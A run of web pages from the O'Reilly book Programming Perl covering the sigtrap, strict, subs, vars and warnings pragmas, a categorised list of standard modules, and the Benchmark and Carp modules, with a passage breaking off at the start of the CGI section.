The sigtrap pragma provides two simple signal handlers for your use. One provides a Perl stack trace, and the other throws an ordinary exception via die. Alternately, you can supply your own handler for the pragma to install. You may specify predefined sets of signals to trap; you can also supply your own explicit list of signals. The pragma can optionally install handlers for only those signals that have not otherwise been handled.

Arguments passed to use sigtrap are processed in order. When a user-supplied signal name or the name of one of sigtrap's predefined signal lists is encountered, a handler is immediately installed. When an option is encountered, this affects only those handlers installed later in processing the argument list.

31.18.1. Signal Handlers

These options affect which handler will be used for signals installed later:

stack-trace

This pragma-supplied handler outputs a Perl stack trace to STDERR and then tries to dump core. This is the default signal handler.

die

This pragma-supplied handler calls die via Carp::croak with a message indicating the signal caught.

handler YOURHANDLER

YOURHANDLER will be used as the handler for signals installed later. YOURHANDLER can be any value valid for assignment into %SIG. Remember that the proper functioning of many C library calls (particularly standard I/O calls) cannot be guaranteed within a signal handler. Worse, it's hard to guess which bits of C library code are called from which bits of Perl code. (On the other hand, many of the signals that sigtrap traps are pretty vile--they're gonna take you down anyway, so there's not much harm in trying to do something, now is there?)

31.18.2. Predefined Signal Lists

The sigtrap pragma has a few built-in lists of signals to trap:

normal-signals

These are the signals a program might normally expect to encounter, and which, by default, cause it to terminate. They are the HUP, INT, PIPE, and TERM signals.

error-signals

These are the signals that usually indicate a serious problem with the Perl interpreter or with your program. They are the ABRT, BUS, EMT, FPE, ILL, QUIT, SEGV, SYS, and TRAP signals.

old-interface-signals

These are the signals that were trapped by default under an older version of sigtrap's interface. They are ABRT, BUS, EMT, FPE, ILL, PIPE, QUIT, SEGV, SYS, TERM, and TRAP. If no signals or signals lists are passed to use sigtrap, this list is used.

If your platform does not implement a particular signal named in the predefined lists, that signal name will be silently ignored. (The signal itself can't be ignored, because it doesn't exist.)

31.18.3. Other Arguments to sigtrap

untrapped

This token suppresses the installation of handlers for subsequently listed signals if they're already been trapped or ignored.

any

This token installs handlers for all subsequently listed signals. This is the default behavior.

signal

Any argument that looks like a signal name (that is, one matching the pattern /^[A-Z][A-Z0-9]*$/) requests sigtrap to handle that signal.

number

A numeric argument requires the version number of the sigtrap pragma to be at least number. This works is just like most regular modules that have a $VERSION package variable:

% perl -Msigtrap -le 'print $sigtrap::VERSION'
1.02

31.18.4. Examples of sigtrap

Provide a stack trace for the old interface signals:

use sigtrap;
Same thing, but more explicitly:
use sigtrap qw(stack-trace old-interface-signals);
Provide a stack trace only on the four listed signals:
use sigtrap qw(BUS SEGV PIPE ABRT);
Die on an INT or a QUIT signal:
use sigtrap qw(die INT QUIT);
Die on any of HUP, INT, PIPE, or TERM:
use sigtrap qw(die normal-signals);
Die on HUP, INT, PIPE, or TERM--except don't change the behavior for signals that have already been trapped or ignored elsewhere in the program:
use sigtrap qw(die untrapped normal-signals);
Die on receipt of any currently untrapped normal-signals; additionally, provide a stack backtrace on receipt of any of the error-signals:
use sigtrap qw(die untrapped normal-signals
                stack-trace any error-signals);
Install the routine my_handler as the handler for the normal-signals:
use sigtrap 'handler' => \&my_handler, 'normal-signals';
Install my_handler as the handler for the normal-signals; provide a Perl stack backtrace on receipt of any of the error-signals:
use sigtrap qw(handler my_handler normal-signals
                stack-trace error-signals);

Previous | Home | Next
31.17. use re | Book Index | 31.19. use strict
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use strict (Programming Perl)

 Book Home Programming PerlSearch this book

31.19. use strict

use strict;         # Install all three strictures.

use strict "vars";  # Variables must be predeclared.
use strict "refs";  # Can't use symbolic references.
use strict "subs";  # Bareword strings must be quoted.

use strict;         # Install all...
no strict "vars";   # ...then renege on one.

This lexically scoped pragma changes some basic rules about what Perl considers to be legal code. Sometimes these restrictions seem too strict for casual programming, such as when you're just trying to whip up a five-line filter program. The larger your program, the more you need to be strict about it.

Currently, there are three possible things to be strict about: subs, vars, and refs. If no import list is supplied, all three restrictions are assumed.

31.19.1. strict 'refs'

This generates a run-time error if you use symbolic references, intentionally or otherwise. See Chapter 8, "References" for more about these.

use strict 'refs';

$ref = \$foo;       # Store "real" (hard) reference.
print $$ref;        # Dereferencing is ok.

$ref = "foo";       # Store name of global (package) variable.
print $$ref;        # WRONG, run-time error under strict refs.
Symbolic references are suspect for various reasons. It's surprisingly easy for even well-meaning programmers to invoke them accidentally; strict 'refs' guards against that. Unlike real references, symbolic references can only refer to global variables. They aren't reference-counted. And there's often a better way to do what you're doing: instead of referencing a symbol in a global symbol table, use a hash as its own little mini-symbol table. It's more efficient, more readable, and less error prone.

Nevertheless, some sorts of valid manipulation really do require direct access to the package's global symbol table of variables and function names. For example, you might want to examine the @EXPORT list or the @ISA superclass of a given package whose name you don't know in advance. Or you might want to install a whole slew of function calls that are all aliases to the same closure. This is just what symbolic references are best at, but to use them while use strict is in effect, you must first undo the "refs" stricture:

# make a bunch of attribute accessors
for my $methname (qw/name rank serno/) {
    no strict 'refs';
    *$methname = sub { $_[0]->{ __PACKAGE__ . $methname };
}

31.19.2. strict 'vars'

Under this stricture, a compile-time error is triggered if you attempt to access a variable that hasn't met at least one of the following criteria:

  • Predefined by Perl itself, such as @ARGV, %ENV, and all the global punctuation variables such as $. or $_.

  • Declared with our (for a global) or my (for a lexical).

  • Imported from another package. (The use vars pragma fakes up an import, but use our instead.)

  • Fully qualified using its package name and the double-colon package separator.

Just using a local operator isn't good enough to keep use strict 'vars' happy because, despite its name, that operator doesn't change whether the named variable is global or not. It just gives the variable a new, temporary value for the duration of block at run time. You still need to use our to declare a global variable, or my to declare a lexical variable. You can, however, localize an our:

local our $law = "martial";
Globals predefined by Perl are exempt from these requirements. This applies to program-wide globals (those forced into package main like @ARGV or $_) and to per-package variables like $a and $b, which are normally used by the sort function. Per-package variables used by modules like Exporter still need to be declared using our:
our @EXPORT_OK = qw(name rank serno);

31.19.3. strict 'subs'

This stricture makes Perl treat all barewords as syntax errors. A bareword ("bearword" in some dialects) is any bare name or identifier that has no other interpretation forced by context. (Context is often forced by a nearby keyword or token, or by predeclaration of the word in question.) Historically, barewords were interpreted as unquoted strings. This stricture outlaws that interpretation. If you mean to use it as a string, quote it. If you mean to use it as a function call, predeclare it or use parentheses.

As a particular case of forced context, remember that a word that appears by itself in curly braces or on the lefthand side of the => operator counts as being quoted, and so is not subject to this restriction.

use strict 'subs';

$x = whatever;      # WRONG: bareword error!
$x = whatever();    # This always works, though.

sub whatever;       # Predeclare function.
$x = whatever;      # Now it's ok.

# These uses are permitted, because the => quotes:
%hash = (red => 1, blue => 2, green => 3);

$rednum =  $hash{red};              # Ok, braces quote here.

# But not this one:
@coolnums = @hash{blue, green};     # WRONG: bareword error.
@coolnums = @hash{"blue", "green"}; # Ok, words now quoted.
@coolnums = @hash{qw/blue green/};  # Likewise.

Previous | Home | Next
31.18. use sigtrap | Book Index | 31.20. use subs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use subs (Programming Perl)

 Book Home Programming PerlSearch this book

31.20. use subs

use subs qw/winken blinken nod/;
@x = winken 3..10;
@x = nod blinken @x

This pragma predeclares as standard subroutines all the names in the argument list. The advantage here is that you may now use those functions without parentheses as list operators, just as if you'd declared them yourself. This is not necessarily as useful as full declarations, because it doesn't allow prototypes or attributes, such as:

sub winken(@);
sub blinken(\@) : locked;
sub nod($) : lvalue;
Because it is based on the standard import mechanism, the use subs pragma is not lexically scoped but package scoped. That is, the declarations are effective for the entire file in which they appear, but only in the current package. You may not rescind such declarations with no subs.

Previous | Home | Next
31.19. use strict | Book Index | 31.21. use vars
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use vars (Programming Perl)

 Book Home Programming PerlSearch this book

31.21. use vars

use vars qw($frobbed @munge %seen);

This pragma, once used to declare a global variable, is now somewhat deprecated in favor of the our modifier. The previous declaration is better accomplished using:

our($frobbed, @munge, %seen);
or even:
our $frobbed = "F";
our @munge = "A" .. $frobbed;
our %seen = ();
No matter which of these you use, remember that they're talking about package globals, not file-scoped lexicals.

Previous | Home | Next
31.20. use subs | Book Index | 31.22. use warnings
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use warnings (Programming Perl)

 Book Home Programming PerlSearch this book

31.22. use warnings

use warnings;   # same as importing "all"
no warnings;    # same as unimporting "all"

use warnings::register;
if (warnings::enabled()) {
    warnings::warn("some warning");
}

if (warnings::enabled("void")) {
    warnings::warn("void", "some warning");
}

This lexically scoped pragma permits flexible control over Perl's built-in warnings, both those emitted by the compiler as well as those from the run-time system.

Once upon a time, the only control you had in Perl over the treatment of warnings in your program was through either the -w command-line option or the $^W variable. Although useful, these tend to be all-or-nothing affairs. The -w option ends up enabling warnings in pieces of module code that you may not have written, which is occasionally problematic for you and embarrassing for the original author. Using $^W to either disable or enable blocks of code can be less than optimal because it works only during execution time, not during compile time.[3] Another issue is that this program-wide global variable is scoped dynamically, not lexically. That means that if you enable it in a block and then from there call other code, you again risk enabling warnings in code not developed with such exacting standards in mind.

[3]In the absence of BEGIN blocks, of course.

The warnings pragma circumvents these limitations by being a lexically scoped, compile-time mechanism that permits finer control over where warnings can or can't be triggered. A hierarchy of warning categories (see Figure 31-1) has been defined to allow groups of warnings to be enabled or disabled in isolation from one another. (The exact categorization is experimental and subject to change.) These categories can be combined by passing multiple arguments to use or no:

use warnings qw(void redefine);
no  warnings qw(io syntax untie);

Figure 31.1. Perl's warning categories

If multiple instances of the warnings pragma are active for a given scope, their effects are cumulative:

use warnings "void"; # Only "void" warnings enabled.
...
use warnings "io";   # Both "void" and "io" warnings now enabled.
...
no warnings "void";  # Only "io" warnings now enabled.
To make fatal errors of all warnings enabled by a particular warnings pragma, use the word FATAL at the front of the import list. This is useful when you would prefer a certain condition that normally causes only a warning to abort your program. Suppose, for example, that you considered it so improper to use an invalid string as a number (which normally produces a value of 0) that you want this brazen act to kill your program. While you're at it, you decide that using uninitialized values in places where real string or numeric values are expected should also be cause for immediate suicide:
{
    use warnings FATAL => qw(numeric uninitialized);
    $x = $y + $z;
}
Now if either $y or $z is uninitialized (that is, holds the special scalar value, undef), or if they contain strings that don't cleanly convert into numeric values, instead of going merrily on its way, or at most issuing a small complaint if you had -w enabled, your program will now raise a exception. (Think of this as Perl running in Python mode.) If you aren't trapping exceptions, that makes it a fatal error. The exception text is the same as would normally appear in the warning message.

The warnings pragma ignores the -w command-line switch and the value of the $^W variable; the pragma's settings take precedence. However, the -W command-line flag overrides the pragma, enabling full warnings in all code within your program, even code loaded with do, require, or use. In other words, with -W, Perl pretends that every block in your program has a use warnings 'all' pragma. Think of it as a lint(1) for Perl programs. (But see also the online documentation for the B::Lint module.) The -X command-line flag works the other way around. It pretends that every block has no warnings 'all' in effect.

Several functions are provided to assist module authors who want to make their module's functions behave like built-in functions with respect to the lexical scoping of the caller (that is, so that users of the module can lexically enable or disable warnings the module might issue):

warnings::register

Registers the current module name as a new category of warnings, so that users of your module can turn off warnings from it.

warnings::enabled(CATEGORY)

Returns true if the warnings category CATEGORY is enabled in the lexical scope of the calling module. Otherwise, it returns false. If CATEGORY is not supplied, the current package name is used.

warnings::warn(CATEGORY, MESSAGE)

If the calling module has not set CATEGORY to "FATAL", prints MESSAGE to STDERR. If the calling module has set CATEGORY to "FATAL", prints MESSAGE to STDERR, then dies. If CATEGORY is not supplied, the current package name is used.

Previous | Home | Next
31.21. use vars | Book Index | 32. Standard Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Standard Modules (Programming Perl)

 Programming PerlSearch this book

Chapter 32. Standard Modules

Contents:

Listings by Type
Benchmark
Carp
CGI
CGI::Carp
Class::Struct
Config
CPAN
Cwd
Data::Dumper
DB_File
Dumpvalue
English
Errno
Exporter
Fatal
Fcntl
File::Basename
File::Compare
File::Copy
File::Find
File::Glob
File::Spec
File::stat
File::Temp
FileHandle
Getopt::Long
Getopt::Std
IO::Socket
IPC::Open2
IPC::Open3
Math::BigInt
Math::Complex
Math::Trig
Net::hostent
POSIX
Safe
Socket
Symbol
Sys::Hostname
Sys::Syslog
Term::Cap
Text::Wrap
Time::Local
Time::localtime
User::grent
User::pwent

The previous edition of this book included comprehensive, definitive coverage for all modules that were part of the standard Perl distribution. But if we did that again now, you'd pay twice what you're paying for this book, not to mention what you'd have to pay the chiropractor after trying to carry the book home. Over the last few years, more and more modules have come bundled standard; we're up to around two hundred of them right now. Some of these, such as CGI, have remarkably extensive documentation in their own right. And if you're using ActiveState's distribution of Perl, your standard library is even more luxed out.

So instead, we provide a complete listing of the standard modules, sorted by type, along with a brief description of what each module does. Then we cherry pick a few of our favorite modules by providing examples of typical uses, followed by a short description of how they work, just to give you a taste of using them. The descriptions are suggestive rather than comprehensive, and virtually all the modules have features beyond those shown. However, complete documentation for all standard modules is included with every Perl distribution, so you can just look up the details on your own system using the perldoc program, your system's man(1) command, or your favorite browser. See the section "Online Documentation" in the Preface. Ask your Local Expert if you can't find the docs, because they're almost certainly installed somewhere on your system. Even if they're not, you can always read the pod docs directly from the modules themselves, because all module docs come embedded in their corresponding module (.pm) files, and pod was designed to be somewhat readable. (Unlike, say, HTML.)

32.1. Listings by Type

Normal module names begin with an uppercase letter. Lowercase names indicate pragmas that you'll find documented in Chapter 31, "Pragmatic Modules", rather than in this chapter.

32.1.1. Data Types

These modules extend Perl's type system (or lack thereof) in various ways.

Module | Description
Class::Struct | Create struct-like Perl object classes
constant | Declare constant scalars and lists
integer | Force Perl to do arithmetic with integers instead of floating point
Math::BigFloat | Calculate with arbitrary length floating-point math
Math::BigInt | Calculate with arbitrary length integer math
Math::Complex | Calculate with complex numbers and associated mathematical functions
Math::Trig | Load many trigonometric and related functions
overload | Overload Perl operators on objects
Symbol | Manipulate Perl symbol tables and generate anonymous typeglobs
Time::Local | Efficiently compute epoch time given localtime or gmtime

32.1.2. String Processing, Language Text Processing, Parsing, and Searching

These modules do things with (or to) text.

Module | Description
Search::Dict | Use a binary search for a string in a sorted text file
Text::Abbrev | Create an abbreviation table from a list
Text::ParseWords | Parse text into a list of tokens or an array of arrays
Text::Soundex | Use Knuth's Soundex algorithm
Text::Tabs | Expand or unexpand tabs like expand (1) and unexpand (1)
Text::Wrap | Wrap lines to form simple paragraphs

32.1.3. Option, Argument, Parameter, and Configuration File Processing

These modules process your command line.

Module | Description
Getopt::Long | Process extended command-line options in long form (--xxx)
Getopt::Std | Process single-character switches with switch clustering (-xyz)

32.1.4. Filenames, Filesystems, and File Locking

These modules provide cross-platform methods of file access.

Module | Description
Cwd | Get the pathname of the current working directory
File::Basename | Portably parse a pathname into directory, basename, and extension components
File::CheckTree | Run many file test checks on a set of directory trees
File::Compare | Portably compare contents of filenames or filehandles
File::Copy | Portably copy filenames or filehandles or move filenames
File::DosGlob | Do Microsoft-style fileglobbing
File::Find | Traverse a file tree like find(1)
File::Glob | Use Unix-style fileglobbing
File::Path | Portably create or remove a series of directories
File::Spec | Use portable filename operations (object-oriented interface)
File::Spec::Functions | Use portable filename operations (functional interface)
File::Spec::Mac | Use filename operations for Mac OS files
File::Spec::OS2 | Use filename operations for OS/2 files
File::Spec::Unix | Use filename operations for Unix files
File::Spec::VMS | Use filename operations for VMS files
File::Spec::Win32 | Use filename operations for Microsoft files
File::stat | Override built-in stat and lstat functions with a method interface

32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities

These modules provide object-oriented file, directory, and IPC access.

Module | Description
DirHandle | Use object methods for directory handles
FileCache | Keep more files concurrently open for output than your system permits
FileHandle | Use object methods for filehandles
IO | Provide a frontend to load all of IO::Dir, IO::File, IO::Handle, IO::Pipe, IO::Seekable, and IO::Socket
IO::Dir | Use object methods for directory handles
IO::File | Use file-related object methods for filehandles
IO::Handle | Use generic object methods for filehandles
IO::Pipe | Use object methods for pipes
IO::Poll | Provide an object interface to poll(2) syscall
IO::Seekable | Use object methods for seekable I/O objects
IO::Select | Use a convenient OO interface to the select(2) syscall
SelectSaver | Save and restore selected filehandle

32.1.6. Internationalization and Locale

These modules help you perform Un-American Activities.

Module | Description
bytes | Enforce old byte-oriented semantics
charnames | Define character names used in \N{name} escapes in string literals
I18N::Collate | Compare 8-bit scalar data according to current locale (deprecated)
locale | Use or avoid POSIX locales for built-in operations
utf8 | Turn on UTF-8 and Unicode support explicitly

32.1.7. Operating System Interfaces

These modules tweak your interface to the operating system.

Module | Description
Fcntl | Load the C library's fcntl.h definitions as Perl constants
filetest | Control the file test operators (-r, -w, etc.) for nontraditional filesystems
open | Set default disciplines for open function calls
POSIX | Use the Perl interface to POSIX 1003.1
Shell | Run shell commands transparently within Perl
sigtrap | Enable simple signal handling
Sys::Hostname | Portably try every conceivable way to determine the current hostname
Sys::Syslog | Use the C library's syslog(3) functions
Time::gmtime | Override the built-in gmtime function with a method interface
Time::localtime | Override the built-in localtime function with a method interface
Time::tm | Provide the internal object used by Time::gmtime and Time::localtime
User::grent | Override built-in getgr* functions with a method interface
User::pwent | Override built-in getpw* functions with a method interface

32.1.8. Networking and Interprocess Communication

These modules provide abstract interfaces around the basic interfaces we wrote about in Chapter 16, "Interprocess Communication".

Module | Description
IO::Socket | Use a generic object interface to socket communications
IO::Socket::INET | Use an object interface for Internet-domain sockets
IO::Socket::UNIX | Use an object interface for Unix-domain (local) sockets
IPC::Msg | Use object methods for working with System V messages (SysV Msg IPC object class)
IPC::Open2 | Open a process for simultaneous reading and writing
IPC::Open3 | Open a process for reading, writing, and error handling
IPC::Semaphore | Use object methods for System V semaphores
IPC::SysV | Define constants for all System V IPC mechanisms
Net::hostent | Override built-in gethost* functions with a method interface
Net::netent | Override built-in getnet* functions with a method interface
Net::Ping | Check a remote host for reachability
Net::protoent | Override built-in getproto* functions with a method interface
Net::servent | Override built-in getserv* functions with a method interface
Socket | Load the C library socket.h definitions and structure manipulators

32.1.9. World Wide Web

These modules interface to the WWW. You may have heard of it.

Module | Description
CGI | Access CGI forms and powerful automated HTML generation
CGI::Apache | Make your CGI script work under the Perl-Apache API
CGI::Carp | Write to the httpd(8) (or other) CGI error log
CGI::Cookie | Set and get HTTP cookies
CGI::Fast | Use the Fast CGI protocol
CGI::Pretty | Produce nicely formatted HTML code
CGI::Push | Do server-push CGI scripting

32.1.10. DBM Interfaces

These modules load various database management libraries.

Module | Description
AnyDBM_File | Provide a framework for multiple DBM libraries
DB_File | Provide tied access to the db(3) library (version 1.x Berkeley DB)
GDBM_File | Provide tied access to the gdbm(3) library
NDBM_File | Provide tied access to the ndbm(3) library
SDBM_File | Provide tied access to SDBM (simple DBM) files

32.1.11. User Interfaces

These modules provide a decent OS CLI I/O API, ASAP.

Module | Description
Term::Cap | Use the termcap(3) library
Term::Complete | Do programmable command completion on word lists
Term::ReadLine | Use any of several readline packages

32.1.12. Authentication, Security, and Encryption

These modules work with sandboxes.

Module | Description
Opcode | Enable or disable named opcodes when compiling Perl code for use with the Safe module
ops | Restrict unsafe operations when compiling
Safe | Compile and execute code in restricted compartments

32.1.13. Perl Language Extensions and Internals

(Not to be confused with Intentions and Externals.)

Module | Description
attributes | Get or set subroutine or variable attributes
attrs | Get or set subroutine or variable attributes (obsolete)
base | Establish inheritance of base class at compile time
Data::Dumper | Serialize Perl data structures
DB | Access the Perl debugger's experimental API
Devel::DProf | Profile a Perl program's execution
Devel::Peek | Load data debugging tools for XS programmers
diagnostics | Force verbose warnings and suppress duplicates
Dumpvalue | Provide screen dump of data
English | Use longer variable names for built-in punctuation variables
Env | Access environment variables in %ENV as regular scalars
Errno | Load the C library's errno.h definitions and tie the %! variable
Fatal | Replace built-ins with versions that raise exceptions on failure
fields | Declare compile-time verified access to a class's data attributes
less | Request less of something from Perl (unimplemented)
re | Alter default regular expression behavior
strict | Restrict sloppy constructs
subs | Predeclare the subroutine names in current the package
vars | Predeclare global variables (obsolete--see our in Chapter 29, "Functions")

32.1.14. Convenient Classes

These modules provide base classes and other conveniences.

Module | Description
Tie::Array | Provide a base class for tied arrays
Tie::Handle | Provide base class definitions for tied handles
Tie::Hash | Provide base class definitions for tied hashes
Tie::RefHash | Provide references as hash keys
Tie::Scalar | Provide base class definitions for tied scalars
Tie::SubstrHash | Hash a fixed-size table with a fixed-length key
UNIVERSAL | Provide a base class for all classes (blessed references)

32.1.15. Warnings and Exceptions

What to do when things go rwong.

Module | Description
Carp | Provide routines that warn and die from the perspective of the caller
warnings | Control warnings within the lexical scope

32.1.16. Documentation Support

And there's an awful lot of documentation to support.

Module | Description
Pod::Checker | Check pod documents for syntax errors (used by podchecker(1))
Pod::Functions | List built-in functions by type
Pod::Html | Convert pod files to HTML (used by pod2html(1))
Pod::InputObjects | Manage documentation support
Pod::Man | Convert pod to troff(1) format for the man(1) system (used by pod2man(1))
Pod::Parser | Provide a base class for creating pod filters and translators
Pod::Select | Extract selected sections of pod from input (used by podselect(1))
Pod::Text | Convert pod data to formatted ASCII text (used by pod2text(1))
Pod::Text::Color | Convert pod data to formatted ASCII text with ANSI color escapes
Pod::Text::Termcap | Convert pod data to ASCII text with terminal-specific escapes
Pod::Usage | Print a usage message derived from embedded pod documentation

32.1.17. Module Installation Support

These modules help other modules jump through various hoops.

Module | Description
AutoLoader | Load subroutines only on demand
AutoSplit | Split a package for autoloading
autouse | Postpone module loading until a function is used from that module
blib | Use the library from MakeMaker's uninstalled version of an extension
Config | Access Perl configuration information
CPAN | Query, download, and build Perl modules from CPAN sites
Devel::SelfStubber | Generate stubs for a module using SelfLoader
DynaLoader | Dynamically load C or C++ libraries as Perl extensions
Exporter | Implement default import method for traditional modules
ExtUtils::Command | Provide utilities to replace common external commands in Makefile
ExtUtils::Embed | Provide utilities for embedding Perl in C or C++ programs
ExtUtils::Install | Install files into the system's Perl library
ExtUtils::Installed | Manage inventory of installed modules
ExtUtils::Liblist | Determine which libraries to use and how to use them
ExtUtils::MakeMaker | Create a Makefile for a Perl extension
ExtUtils::Manifest | Load tools to write and check a MANIFEST file
ExtUtils::Miniperl | Write the C code for perlmain.c
ExtUtils::Mkbootstrap | Create a bootstrap file for use by DynaLoader
ExtUtils::Mksymlists | Write linker options files for dynamic extension
ExtUtils::MM_Cygwin | Override Unix behavior methods in ExtUtils::MakeMaker
ExtUtils::MM_OS2 | Override Unix behavior methods in ExtUtils::MakeMaker
ExtUtils::MM_Unix | Provide methods used by ExtUtils::MakeMaker
ExtUtils::MM_VMS | Override Unix behavior methods in ExtUtils::MakeMaker
ExtUtils::MM_Win32 | Override Unix behavior methods in ExtUtils::MakeMaker
ExtUtils::Packlist | Manage .packlist files
ExtUtils::testlib | Add blib/* directories to @INC
FindBin | Locate installation directory of the Perl program that is running
lib | Manipulate @INC at compile time
SelfLoader | Load functions only on demand
XSLoader | Dynamically load C or C++ libraries as Perl extensions

32.1.18. Development Support

These modules are for timing and testing, to see how much faster and cleaner your code doesn't run anymore.

Module | Description
Benchmark | Compare running times of alternate code versions
Test | Use a simple framework for writing test scripts
Test::Harness | Run standard test scripts with statistics

32.1.19. Perl Compiler and Code Generator

These modules support various backend code generators for Perl.

Module | Description
B | Load Perl code generators (a.k.a. the "Perl compiler")
B::Asmdata | Provide autogenerated data about Perl ops to produce bytecode
B::Assembler | Assemble Perl bytecode
B::Bblock | Walk basic blocks in the syntax tree
B::Bytecode | Use the Perl compiler's bytecode backend
B::C | Use the Perl compiler's C translation backend
B::CC | Use the Perl compiler's optimized C translation backend
B::Debug | Walk the Perl syntax tree, printing debug info about ops
B::Deparse | Use the Perl compiler backend to reproduce Perl code
B::Disassembler | Disassemble Perl bytecode
B::Lint | Catch dubious constructs
B::Showlex | Show lexical variables used in functions or files
B::Stash | Show what stashes are loaded
B::Terse | Walk the Perl syntax tree, printing terse info about ops
B::Xref | Generate cross-reference reports for Perl programs
ByteLoader | Load byte-compiled Perl code
O | Provide a generic interface to Perl compiler backends

32.1.20. Microsoft-Related Modules

If you got the Perl distribution for Microsoft systems from ActiveState, you already have the following Microsoft-only modules included for you. If you just grabbed the standard source distribution (maybe you want to build it under the Cygwin Unix-emulation environment) but you're running on Wintel, you can get all of these modules from CPAN.

Module | Description
Win32::ChangeNotify | Monitor events related to files and directories
Win32::Console | Use Win32 console and character mode functions
Win32::Event | Use Win32 event objects from Perl
Win32::EventLog | Process Win32 event logs from Perl
Win32::File | Manage file attributes in Perl
Win32::FileSecurity | Manage FileSecurity Discretionary Access Control Lists in Perl
Win32::IPC | Load the base class for Win32 synchronization objects
Win32::Internet | Access WININET.DLL functions
Win32::Mutex | Use Win32 mutex objects from Perl
Win32::NetAdmin | Manage network groups and users in Perl
Win32::NetResource | Manage network resources in Perl
Win32::ODBC | Use ODBC Extension for Win32
Win32::OLE | Use OLE automation extensions
Win32::OLE::Const | Extract constant definitions from TypeLib
Win32::OLE::Enum | Use OLE Automation Collection Objects
Win32::OLE::NLS | Use OLE National Language Support
Win32::OLE::Variant | Create and modify OLE VARIANT variables
Win32::PerfLib | Access the Windows NT Performance Counter
Win32::Process | Create and manipulate processes
Win32::Semaphore | Use Win32 semaphore objects
Win32::Service | Manage system services
Win32::Sound | Play with Windows sounds
Win32::TieRegistry | Mung the registry
Win32API::File | Access low-level Win32 system API calls for files and directories
Win32API::Net | Manage Windows NT LanManager accounts
Win32API::Registry | Access low-level Win32 system API calls from WINREG.H
Previous | Home | Next
31.22. use warnings | Book Index | 32.2. Benchmark
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Benchmark (Programming Perl)

 Book Home Programming PerlSearch this book

32.2. Benchmark

use Benchmark qw(timethese cmpthese timeit countit timestr);

# You can always pass in code as strings:
timethese $count, {
    'Name1' => '...code1...',
    'Name2' => '...code2...',
};

# Or as subroutines references:
timethese $count, {
    'Name1' => sub { ...code1... },
    'Name2' => sub { ...code2... },
};

cmpthese $count, {
    'Name1' => '...code1...',
    'Name2' => '...code2...',
};

$t = timeit $count, '...code...';
print "$count loops of code took:", timestr($t), "\n";

$t = countit $time, '...code...';
$count = $t->iters;
print "$count loops of code took:", timestr($t), "\n";

The Benchmark module can help you determine which of several possible choices executes the fastest. The timethese function runs the specified code segments the number of times requested and reports back how long each segment took. You can get a nicely sorted comparison chart if you call cmpthese the same way.

Code segments may be given as function references instead of strings (in fact, they must be if you use lexical variables from the calling scope), but call overhead can influence the timings. If you don't ask for enough iterations to get a good timing, the function emits a warning.

Lower-level interfaces are available that run just one piece of code either for some number of iterations (timeit) or for some number of seconds (countit). These functions return Benchmark objects (see the online documentation for a description). With countit, you know it will run in enough time to avoid warnings, because you specified a minimum run time.

To get the most out of the Benchmark module, you'll need a good bit of practice. It isn't usually enough to run a couple different algorithms on the same data set, because the timings only reflect how well those algorithms did on that particular data set. To get a better feel for the general case, you'll need to run several sets of benchmarks, varying the data sets used.

For example, suppose you wanted to know the best way to get a copy of a string without the last two characters. You think of four ways to do so (there are, of course, several others): chop twice, copy and substitute, or use substr on either the left- or righthand side of an assignment. You test these algorithms on strings of length 2, 200, and 20_000:

use Benchmark qw/countit cmpthese/;
sub run($) { countit(5, @_) }
for $size (2, 200, 20_000) {
    $s = "." x $len;
    print "\nDATASIZE = $size\n";
    cmpthese {
        chop2   => run q{
            $t = $s; chop $t; chop $t;
        },
        subs    => run q{
            ($t = $s) =~ s/..\Z//s;
        },
        lsubstr => run q{
             $t = $s; substr($t, -2) = '';
        },
        rsubstr => run q{
             $t = substr($s, 0, length($s)-2);
        },

    };
}
which produces the following output:
DATASIZE = 2
            Rate    subs lsubstr   chop2 rsubstr
subs    181399/s      --    -15%    -46%    -53%
lsubstr 214655/s     18%      --    -37%    -44%
chop2   338477/s     87%     58%      --    -12%
rsubstr 384487/s    112%     79%     14%      --

DATASIZE = 200
            Rate    subs lsubstr rsubstr   chop2
subs    200967/s      --    -18%    -24%    -34%
lsubstr 246468/s     23%      --     -7%    -19%
rsubstr 264428/s     32%      7%      --    -13%
chop2   304818/s     52%     24%     15%      --

DATASIZE = 20000
          Rate rsubstr    subs lsubstr   chop2
rsubstr 5271/s      --    -42%    -43%    -45%
subs    9087/s     72%      --     -2%     -6%
lsubstr 9260/s     76%      2%      --     -4%
chop2   9660/s     83%      6%      4%      --
With small data sets, the "rsubstr" algorithm runs 14% faster than the "chop2" algorithm, but in large data sets, it runs 45% slower. On empty data sets (not shown here), the substitution mechanism is the fastest. So there is often no best solution for all possible cases, and even these timings don't tell the whole story, since you're still at the mercy of your operating system and the C library Perl was built with. What's good for you may be bad for someone else. It takes a while to develop decent benchmarking skills. In the meantime, it helps to be a good liar.

Previous | Home | Next
32.1. Listings by Type | Book Index | 32.3. Carp
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Carp (Programming Perl)

 Book Home Programming PerlSearch this book

32.3. Carp

use Carp;
croak "We're outta here!";

use Carp qw(:DEFAULT cluck);
cluck "This is how we got here!";
The Carp module lets you write modules whose functions report errors the way built-in operators report errors--from the perspective of the users of your module. The Carp module supplies routines that you use much like the standard built-in functions warn and die, but that change the filename and line number so it looks like the error originated from the user's code instead of your code. In short, Carp is great way to misdirect blame.

There are actually four functions. The carp function works like the warn operator, but with caller-relative filename and line number information. The croak function works like die does--raising an exception--but again gives caller-relative information. If you prefer a longer lament, use cluck and confess instead of carp and croak respectively, and you'll get a full stack backtrace reporting who called whom and with what arguments (in the library with a lead pipe, no doubt). You have to import cluck explicitly, because it's not normally exported. People don't often want full stack traces on mere warnings, for some reason.

Previous | Home | Next
32.2. Benchmark | Book Index | 32.4. CGI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI (Programming Perl)

 Programming PerlSearch this book

32.4. CGI

use CGI qw(:standard);
$who   = param("Name");
$phone = param("Number");
@picks = param("Choices");

